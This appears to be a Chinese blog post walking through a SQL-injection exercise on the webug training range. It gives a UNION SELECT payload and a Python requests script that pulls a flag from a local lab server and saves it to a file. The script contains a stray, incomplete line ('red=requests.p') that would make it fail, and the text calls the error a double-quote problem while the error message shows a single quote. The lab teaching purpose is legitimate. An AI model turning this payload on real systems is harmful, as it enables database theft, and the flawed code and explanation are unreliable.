用python写注入漏洞的poc

webug靶场一道简单的注入题

加点后报错

could not to the database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

大致可以猜出是双引号的问题，闭合即可，接下来就是常规的注入过程，最后拿到flag

下面是代码

#-*- coding:utf-8 -*-

import requests

import re

def poc():

    url="http://192.168.241.128/pentest/test/sqli/sqltamp.php"

    data={

        "gid":"-1' union select 1,flag,3,4 from flag #"

    }

    req=requests.get(url,data)

    red=requests.p

    html=req.content

    html=html.decode('utf-8')

    sear=r'名称为:(.+?)</font>'

    flag=re.findall(sear,html)

    with open('test1.txt','w') as f:

        f.write(str(flag))

if __name__ == '__main__':

    poc()

这里我用正则匹配将flag匹配并写入文件，一定要对返回的数据进行转码

否则匹配不到，还有%23要写成#才能被python识别。

巴特西

用python写注入漏洞的poc

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